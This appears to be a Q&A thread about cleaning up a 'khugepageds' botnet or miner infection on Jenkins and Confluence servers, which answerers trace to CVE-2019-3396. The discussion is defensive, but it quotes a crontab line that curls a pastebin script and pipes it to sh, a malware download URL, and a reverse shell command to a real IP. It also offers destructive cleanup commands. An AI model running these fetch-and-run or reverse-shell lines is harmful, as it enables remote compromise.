19

enter image description here

So the picture above shows a command khugepageds that is using 98 to 100 % of CPU at times.

I tried finding how does jenkins use this command or what to do about it but was not successful.

I did the following

  • pkill jenkins
  • service jenkins stop
  • service jenkins start

When i pkill ofcourse the usage goes down but once restart its back up again.

Anyone had this issue before?

1

6 Answers 6

19

So, we just had this happen to us. As per the other answers, and some digging of our own, we were able to kill to process (and keep it killed) by running the following command...

rm -rf /tmp/*; crontab -r -u jenkins; kill -9 PID_OF_khugepageds; crontab -r -u jenkins; rm -rf /tmp/*; reboot -h now;

Make sure to replace PID_OF_khugepageds with the PID on your machine. It will also clear the crontab entry. Run this all as one command so that the process won't resurrect itself. The machine will reboot per the last command.

NOTE: While the command above should kill the process, you will probably want to roll/regenerate your SSH keys (on the Jenkins machine, BitBucket/GitHub etc., and any other machines that Jenkins had access to) and perhaps even spin up a new Jenkins instance (if you have that option).

2
  • Thanks, we ran into this issue as well and this seems to work. Do you have any idea how this might have gotten onto the system? A vulnerability in a jenkins plugin maybe? Apr 9, 2019 at 17:09
  • @user1366911 Unfortunately, we don't really know.
    – HeffZilla
    Apr 10, 2019 at 21:19
10

Yes, we were also hit by this vulnerability, thanks to pittss's we were able to detect a bit more about that.

You should check the /var/logs/syslogs for the curl pastebin script which seems to start a corn process on the system, it will try to again escalated access to /tmp folder and install unwanted packages/script.

You should remove everything from the /tmp folder, stop jenkins, check cron process and remove the ones that seem suspicious, restart the VM.

Since the above vulnerability adds unwanted executable at /tmp foler and it tries to access the VM via ssh. This vulnerability also added a cron process on your system beware to remove that as well.

Also check the ~/.ssh folder for known_hosts and authorized_keys for any suspicious ssh public keys. The attacker can add their ssh keys to get access to your system.

Hope this helps.

1
10

This is a Confluence vulnerability https://nvd.nist.gov/vuln/detail/CVE-2019-3396 published on 25 Mar 2019. It allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.

Possible solution

  1. Do not run Confluence as root!
  2. Stop botnet agent: kill -9 $(cat /tmp/.X11unix); killall -9 khugepageds
  3. Stop Confluence: <confluence_home>/app/bin/stop-confluence.sh
  4. Remove broken crontab: crontab -u <confluence_user> -r
  5. Plug the hole by blocking access to vulnerable path /rest/tinymce/1/macro/preview in frontend server; for nginx it is something like this:
    location /rest/tinymce/1/macro/preview {
        return 403;
    }
  1. Restart Confluence.

The exploit

Contains two parts: shell script from https://pastebin.com/raw/xmxHzu5P and x86_64 Linux binary from http://sowcar.com/t6/696/1554470365x2890174166.jpg

The script first kills all other known trojan/viruses/botnet agents, downloads and spawns the binary from /tmp/kerberods and iterates through /root/.ssh/known_hosts trying to spread itself to nearby machines.

The binary of size 3395072 and date Apr 5 16:19 is packed with the LSD executable packer (http://lsd.dg.com). I haven't still examined what it does. Looks like a botnet controller.

4
  • Out of curiosity: where did you get the information from that this specific url was / is the culprit?
    – luk2302
    Apr 12, 2019 at 15:00
  • 1
    @luk2302: The crontab of an infected confluence user contains an entry like this: (curl -fsSL https://pastebin.com/raw/xmxHzu5P||wget -q -O- https://pastebin.com/raw/xmxHzu5P)|sed -e 's/\r//g'|sh. See also this article Apr 12, 2019 at 15:55
  • @AxelBeckert I was referring to the tinymce url of the confluence instance. Was not 100% clear.
    – luk2302
    Apr 12, 2019 at 16:01
  • @luk2302 I've got /rest/tinymce/1/macro/preview from infected server HTTP logs. Btw, .bash_history of that confluence user had reverse shell command bash -i >& /dev/tcp/45.76.191.111/2012 0>&1 so some human intervention is in place. Apr 13, 2019 at 5:51
6

it seem like vulnerability. try look syslog (/var/log/syslog, not jenkinks log) about like this: CRON (jenkins) CMD ((curl -fsSL https://pastebin.com/raw/***||wget -q -O- https://pastebin.com/raw/***)|sh).

If that, try stop jenkins, clear /tmp dir and kill all pids started with jenkins user.

After if cpu usage down, try update to last tls version of jenkins. Next after start jenkins update all plugins in jenkins.

0
0

A solution that works, because the cron file just gets recreated is to empty jenkins' cronfile, I also changed the ownership, and also made the file immutable.

This finally stopped this process from kicking in..

0

In my case this was making builds fail randomly with the following error:

Maven JVM terminated unexpectedly with exit code 137

It took me a while to pay due attention to the Khugepageds process, since every place I read about this error the given solution was to increase memory.

Problem was solved with @HeffZilla solution.

Not the answer you're looking for? Browse other questions tagged or ask your own question.